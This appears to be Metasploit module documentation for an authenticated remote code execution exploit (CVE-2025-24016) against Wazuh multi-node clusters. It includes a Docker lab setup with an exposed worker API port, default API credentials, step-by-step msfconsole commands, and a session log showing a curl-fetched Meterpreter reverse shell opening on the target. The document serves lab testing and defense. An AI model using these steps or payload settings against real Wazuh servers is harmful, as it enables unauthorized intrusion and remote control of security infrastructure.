## Vulnerable Application
Wazuh is a free and open source platform used for threat prevention, detection, and response.
Starting in version `4.4.0` and prior to version `4.9.1`, an unsafe deserialization vulnerability allows for remote code
execution on Wazuh servers. DistributedAPI parameters are serialized as JSON and deserialized using `as_wazuh_object` in
`/var/ossec/framework/wazuh/core/cluster/common.py`. If an attacker manages to inject an unsanitized dictionary in DAPI
request/response, they can forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code.
The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh servers in the cluster) or,
in certain configurations, even by a compromised agent.

The following Wazuh release has been tested:
* Wazuh Server 4.8.2 multi-node cluster running on Docker Desktop

See also this [attackerkb article](https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016) for more info.

## Installation
### Installation steps to install the Wazuh Server application
* Install `Docker` on your preferred platform.
* Here are the installation instructions for [Docker Desktop on MacOS](https://docs.docker.com/desktop/install/mac-install/).
* Follow the steps to install [Wazuh multi-node](https://documentation.wazuh.com/current/deployment-options/docker/wazuh-container.html).
* Change the `docker-compose.yml` file in the `multi-node` directory by adding the line `- "56000:55000"` to the ports configuration
* of the wazuh.worker section to expose port `55000` to the outside world on port `56000`.
* You can modify the `4.8.2` version in the `yml` file to pull different versions.
```yaml
 # Wazuh App Copyright (C) 2017, Wazuh Inc. (License GPLv2)
version: '3.7'

services:
  wazuh.master:
    image: wazuh/wazuh-manager:4.8.2
    hostname: wazuh.master
    restart: always
    ulimits:
      memlock:
        soft: -1
        hard: -1
      nofile:
        soft: 655360
        hard: 655360
    ports:
      - "1515:1515"
      - "514:514/udp"
      - "55000:55000"
    environment:
      - INDEXER_URL=https://wazuh1.indexer:9200
      - INDEXER_USERNAME=admin
      - INDEXER_PASSWORD=SecretPassword
      - FILEBEAT_SSL_VERIFICATION_MODE=full
      - SSL_CERTIFICATE_AUTHORITIES=/etc/ssl/root-ca.pem
      - SSL_CERTIFICATE=/etc/ssl/filebeat.pem
      - SSL_KEY=/etc/ssl/filebeat.key
      - API_USERNAME=wazuh-wui
      - API_PASSWORD=MyS3cr37P450r.*-
    volumes:
      - master-wazuh-api-configuration:/var/ossec/api/configuration
      - master-wazuh-etc:/var/ossec/etc
      - master-wazuh-logs:/var/ossec/logs
      - master-wazuh-queue:/var/ossec/queue
      - master-wazuh-var-multigroups:/var/ossec/var/multigroups
      - master-wazuh-integrations:/var/ossec/integrations
      - master-wazuh-active-response:/var/ossec/active-response/bin
      - master-wazuh-agentless:/var/ossec/agentless
      - master-wazuh-wodles:/var/ossec/wodles
      - master-filebeat-etc:/etc/filebeat
      - master-filebeat-var:/var/lib/filebeat
      - ./config/wazuh_indexer_ssl_certs/root-ca-manager.pem:/etc/ssl/root-ca.pem
      - ./config/wazuh_indexer_ssl_certs/wazuh.master.pem:/etc/ssl/filebeat.pem
      - ./config/wazuh_indexer_ssl_certs/wazuh.master-key.pem:/etc/ssl/filebeat.key
      - ./config/wazuh_cluster/wazuh_manager.conf:/wazuh-config-mount/etc/ossec.conf

  wazuh.worker:
    image: wazuh/wazuh-manager:4.8.2
    hostname: wazuh.worker
    restart: always
    ulimits:
      memlock:
        soft: -1
        hard: -1
      nofile:
        soft: 655360
        hard: 655360
    ports:
      - "56000:55000"
      - "5555:5555"
    environment:
      - INDEXER_URL=https://wazuh1.indexer:9200
      - INDEXER_USERNAME=admin
      - INDEXER_PASSWORD=SecretPassword
      - FILEBEAT_SSL_VERIFICATION_MODE=full
      - SSL_CERTIFICATE_AUTHORITIES=/etc/ssl/root-ca.pem
      - SSL_CERTIFICATE=/etc/ssl/filebeat.pem
      - SSL_KEY=/etc/ssl/filebeat.key
      - PYTHONBREAKPOINT=remote_pdb.set_trace
      - REMOTE_PDB_HOST=0.0.0.0
      - REMOTE_PDB_PORT=5555
    volumes:
      - worker-wazuh-api-configuration:/var/ossec/api/configuration
      - worker-wazuh-etc:/var/ossec/etc
      - worker-wazuh-logs:/var/ossec/logs
      - worker-wazuh-queue:/var/ossec/queue
      - worker-wazuh-var-multigroups:/var/ossec/var/multigroups
      - worker-wazuh-integrations:/var/ossec/integrations
      - worker-wazuh-active-response:/var/ossec/active-response/bin
      - worker-wazuh-agentless:/var/ossec/agentless
      - worker-wazuh-wodles:/var/ossec/wodles
      - worker-filebeat-etc:/etc/filebeat
      - worker-filebeat-var:/var/lib/filebeat
      - ./config/wazuh_indexer_ssl_certs/root-ca-manager.pem:/etc/ssl/root-ca.pem
      - ./config/wazuh_indexer_ssl_certs/wazuh.worker.pem:/etc/ssl/filebeat.pem
      - ./config/wazuh_indexer_ssl_certs/wazuh.worker-key.pem:/etc/ssl/filebeat.key
      - ./config/wazuh_cluster/wazuh_worker.conf:/wazuh-config-mount/etc/ossec.conf

  wazuh1.indexer:
    image: wazuh/wazuh-indexer:4.8.2
    hostname: wazuh1.indexer
    restart: always
    ports:
      - "9200:9200"
    environment:
      - "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
      - "bootstrap.memory_lock=true"
    ulimits:
      memlock:
        soft: -1
        hard: -1
      nofile:
        soft: 65536
        hard: 65536
    volumes:
      - wazuh-indexer-data-1:/var/lib/wazuh-indexer
      - ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
      - ./config/wazuh_indexer_ssl_certs/wazuh1.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh1.indexer.key
      - ./config/wazuh_indexer_ssl_certs/wazuh1.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh1.indexer.pem
      - ./config/wazuh_indexer_ssl_certs/admin.pem:/usr/share/wazuh-indexer/certs/admin.pem
      - ./config/wazuh_indexer_ssl_certs/admin-key.pem:/usr/share/wazuh-indexer/certs/admin-key.pem
      - ./config/wazuh_indexer/wazuh1.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
      - ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml

  wazuh2.indexer:
    image: wazuh/wazuh-indexer:4.8.2
    hostname: wazuh2.indexer
    restart: always
    environment:
      - "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
      - "bootstrap.memory_lock=true"
    ulimits:
      memlock:
        soft: -1
        hard: -1
      nofile:
        soft: 65536
        hard: 65536
    volumes:
      - wazuh-indexer-data-2:/var/lib/wazuh-indexer
      - ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
      - ./config/wazuh_indexer_ssl_certs/wazuh2.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh2.indexer.key
      - ./config/wazuh_indexer_ssl_certs/wazuh2.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh2.indexer.pem
      - ./config/wazuh_indexer/wazuh2.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
      - ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml

  wazuh3.indexer:
    image: wazuh/wazuh-indexer:4.8.2
    hostname: wazuh3.indexer
    restart: always
    environment:
      - "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
      - "bootstrap.memory_lock=true"
    ulimits:
      memlock:
        soft: -1
        hard: -1
      nofile:
        soft: 65536
        hard: 65536
    volumes:
      - wazuh-indexer-data-3:/var/lib/wazuh-indexer
      - ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
      - ./config/wazuh_indexer_ssl_certs/wazuh3.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh3.indexer.key
      - ./config/wazuh_indexer_ssl_certs/wazuh3.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh3.indexer.pem
      - ./config/wazuh_indexer/wazuh3.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
      - ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml

  wazuh.dashboard:
    image: wazuh/wazuh-dashboard:4.8.2
    hostname: wazuh.dashboard
    restart: always
    ports:
      - 443:5601
    environment:
      - OPENSEARCH_HOSTS="https://wazuh1.indexer:9200"
      - WAZUH_API_URL="https://wazuh.master"
      - API_USERNAME=wazuh-wui
      - API_PASSWORD=MyS3cr37P450r.*-
      - DASHBOARD_USERNAME=kibanaserver
      - DASHBOARD_PASSWORD=kibanaserver
    volumes:
      - ./config/wazuh_indexer_ssl_certs/wazuh.dashboard.pem:/usr/share/wazuh-dashboard/certs/wazuh-dashboard.pem
      - ./config/wazuh_indexer_ssl_certs/wazuh.dashboard-key.pem:/usr/share/wazuh-dashboard/certs/wazuh-dashboard-key.pem
      - ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-dashboard/certs/root-ca.pem
      - ./config/wazuh_dashboard/opensearch_dashboards.yml:/usr/share/wazuh-dashboard/config/opensearch_dashboards.yml
      - ./config/wazuh_dashboard/wazuh.yml:/usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml
      - wazuh-dashboard-config:/usr/share/wazuh-dashboard/data/wazuh/config
      - wazuh-dashboard-custom:/usr/share/wazuh-dashboard/plugins/wazuh/public/assets/custom
    depends_on:
      - wazuh1.indexer
    links:
      - wazuh1.indexer:wazuh1.indexer
      - wazuh.master:wazuh.master

  nginx:
    image: nginx:stable
    hostname: nginx
    restart: always
    ports:
      - "1514:1514"
    depends_on:
      - wazuh.master
      - wazuh.worker
      - wazuh.dashboard
    links:
      - wazuh.master:wazuh.master
      - wazuh.worker:wazuh.worker
      - wazuh.dashboard:wazuh.dashboard
    volumes:
      - ./config/nginx/nginx.conf:/etc/nginx/nginx.conf:ro

volumes:
  master-wazuh-api-configuration:
  master-wazuh-etc:
  master-wazuh-logs:
  master-wazuh-queue:
  master-wazuh-var-multigroups:
  master-wazuh-integrations:
  master-wazuh-active-response:
  master-wazuh-agentless:
  master-wazuh-wodles:
  master-filebeat-etc:
  master-filebeat-var:
  worker-wazuh-api-configuration:
  worker-wazuh-etc:
  worker-wazuh-logs:
  worker-wazuh-queue:
  worker-wazuh-var-multigroups:
  worker-wazuh-integrations:
  worker-wazuh-active-response:
  worker-wazuh-agentless:
  worker-wazuh-wodles:
  worker-filebeat-etc:
  worker-filebeat-var:
  wazuh-indexer-data-1:
  wazuh-indexer-data-2:
  wazuh-indexer-data-3:
  wazuh-dashboard-config:
  wazuh-dashboard-custom:
```
* Run following command `docker-compose up -d` to install and run the Wazuh server cluster environment.
* Your Wazuh server should be accessible on `https://localhost` with an active Wazuh server cluster running.
* You can bring down the environment for a fresh start with the command `docker-compose down`.

You are now ready to test the module.

**IMPORTANT NOTE:**
This vulnerability can only be triggered in a Wazuh multi-node cluster configuration, because it needs the distributed API function.
It is important to understand that the worker-server port (`55000`) should be exposed to the outside world in order to trigger
this vulnerability. In the above lab setup, it is exposed on port `56000` (see the `docker-compose.yml` file)
Using it directly on the master-server port (`55000`) will not work because the DAPI request is not leveraged in this case, hence
the vulnerable code will not be triggered.

## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use exploit/linux/http/wazuh_auth_rce_cve_2025_24016`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ] `set lhost <attacker-ip>`
- [ ] `set target <0=Unix/Linux Command>`
- [ ] `exploit`

you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings.

## Options
### API Credentials:
`API_PWD` Wazuh API password (MyS3cr37P450r.*-)
`API_USER` Wazuh API user (wazuh-wui)

## Scenarios
### Wazuh server 4.8.2 on Docker Desktop
```msf
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > options

Module options (exploit/linux/http/wazuh_auth_rce_cve_2025_24016):

   Name       Current Setting   Required  Description
   ----       ---------------   --------  -----------
   API_PWD    MyS3cr37P450r.*-  yes       Wazuh API password
   API_USER   wazuh-wui         yes       Wazuh API user
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http,
                                           socks5h
   RHOSTS     192.168.201.85    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      56000             yes       The target port (TCP)
   SSL        true              no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                 yes       Path to the wazuh manager
   VHOST                        no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python
                                               variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH                    no        Local URI to use for serving payload
   LHOST           192.168.201.10   yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port


   When FETCH_COMMAND is one of CURL,WGET:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  false            yes       Host both the binary payload and the command so it can be piped directly to the shell.


   When FETCH_FILELESS is none:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      WqYFaNqq         no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_WRITABLE_DIR  /tmp             yes       Remote writable dir to store payload; cannot contain spaces


Exploit target:

   Id  Name
   --  ----
   0   Unix/Linux Command

View the full module info with the info, or info -d command.

msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Wazuh version 4.8.2
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending stage (3090404 bytes) to 192.168.201.85
[*] Meterpreter session 2 opened (192.168.201.10:4444 -> 192.168.201.85:58215) at 2025-07-16 08:14:53 +0000

meterpreter > getuid
Server username: wazuh
meterpreter > sysinfo
Computer     : wazuh.master
OS           :  (Linux 6.10.14-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > pwd
/
meterpreter >
```

## Limitations
This module works only on a Wazuh Server multi-node cluster configuration.
